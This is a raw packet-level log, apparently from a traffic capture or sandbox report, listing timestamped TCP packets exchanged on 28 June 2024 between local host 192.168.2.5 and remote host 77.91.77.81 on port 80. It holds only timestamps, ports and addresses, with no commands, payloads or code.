Jun 28, 2024 13:36:24.384792089 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.384807110 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.384807110 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.384807110 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.384829998 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.384876966 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.384884119 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.384915113 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.384924889 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.384941101 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.384958029 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.384991884 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.385025024 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.385040045 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.385055065 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.385070086 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.385086060 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.385086060 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.385123014 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.417427063 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.417452097 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.417469025 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.417483091 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.417495012 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.417495012 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.417499065 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.417514086 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.417515039 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.417529106 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.417530060 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.417552948 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.417567968 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.417567968 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.417581081 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.417582035 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.417597055 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.417598009 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.417612076 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.417613029 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.417623997 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.417629004 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.417643070 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.417658091 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.417673111 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.417673111 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.417673111 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.417685986 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.417699099 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.417704105 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.417714119 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.417728901 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.417737961 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.417743921 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.417758942 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.417758942 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.417768955 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.417773962 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.417787075 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.417788982 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.417805910 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.417819023 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.417821884 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.417836905 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.417849064 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.417851925 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.417865992 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.417881966 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.417886019 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.417886019 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.417913914 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.417927980 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.417933941 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.417933941 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.417943001 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.417948961 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.417964935 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.417979956 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.417982101 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.417994976 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.418015003 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.418015003 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.418045998 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.418658972 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.418673038 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.418688059 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.418710947 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.418725014 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.418739080 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.418744087 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.418744087 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.418755054 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.418766022 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.418772936 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.418787956 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.418802977 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.418819904 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.418819904 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.418843985 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.418884993 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.418900013 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.418914080 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.418927908 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.418930054 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.418965101 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.418965101 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.418966055 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.418979883 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.419022083 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.419086933 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.419100046 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.419114113 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.419128895 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.419131994 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.419142962 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.419157982 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.419171095 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.419171095 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.419172049 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.419217110 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.419226885 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.419629097 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.419651985 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.419667006 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.419681072 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.419693947 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.419708014 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.419719934 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.419719934 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.419722080 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.419735909 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.419751883 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.419759035 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.419759035 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.419765949 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.419780970 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.419795036 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.419806004 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.419806004 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.419809103 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.419826984 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.419831038 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.419841051 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.419842958 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.419855118 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.419868946 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.419883013 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.419888020 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.419888020 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.419966936 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.419997931 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.420011997 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.420027018 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.420039892 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.420047045 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.420047045 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.420053959 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.420066118 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.420068979 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.420079947 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.420083046 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.420114994 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.420180082 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.448498011 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.448515892 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.448530912 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.448560953 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.448565006 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.448577881 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.448580027 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.448595047 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.448609114 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.448636055 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.448636055 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.448652029 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.448667049 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.448681116 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.448694944 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.448709011 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.448724031 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.448741913 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.448741913 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.448760986 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.448786020 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.448801041 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.448836088 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.448836088 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.485410929 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.485434055 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.485460043 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.485466957 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.485475063 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.485491991 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.485505104 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.485505104 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.485506058 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.485522985 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.485524893 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.485542059 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.485562086 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.485634089 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.528410912 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.528429985 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.528445959 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.528498888 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.528513908 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.528537035 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.528551102 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.528564930 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.528579950 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.528589964 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.528589964 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.528603077 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.528635025 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.528680086 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.528695107 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.528708935 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.528728008 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.528753996 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.528753996 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.528773069 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.528786898 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.528801918 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.528815985 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.528830051 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.528830051 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.528830051 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.528846025 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.528848886 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.528856993 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.528886080 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.528886080 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.528911114 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.528928041 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.528944016 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.528954983 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.528956890 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.528966904 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.528971910 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.528985977 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.528999090 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.528999090 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.529021025 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.529021025 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.529050112 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.529066086 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.529081106 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.529088020 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.529104948 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.529109955 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.529119015 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.529133081 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.529145956 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.529149055 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.529160976 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.529166937 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.529175043 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.529191971 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.529205084 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.529217958 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.529299974 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.529375076 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.529391050 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.529405117 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.529453993 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.529453993 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.529514074 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.529529095 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.529544115 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.529557943 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.529565096 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.529572010 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.529578924 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.529587030 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.529599905 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.529614925 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.529620886 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.529620886 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.529628992 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.529643059 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.529656887 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.529660940 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.529660940 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.529671907 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.529678106 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.529686928 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.529700994 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.529716969 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.529716969 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.529731989 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.529741049 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.529783010 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.529798031 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.529813051 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.529841900 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.529870987 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.530025005 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.530040026 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.530054092 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.530076027 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.530081987 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.530091047 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.530103922 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.530117989 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.530119896 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.530119896 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.530131102 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.530145884 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.530159950 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.530159950 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.530174017 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.530180931 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.530180931 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.530188084 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.530200958 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.530215025 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.530227900 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.530227900 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.530227900 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.530242920 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.530256987 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.530271053 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.530278921 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.530278921 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.530284882 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.530297995 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.530308008 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.530312061 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.530347109 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.530347109 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.530385017 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.530553102 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.530575037 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.530589104 CEST	80	49721	77.91.77.81	192.168.2.5
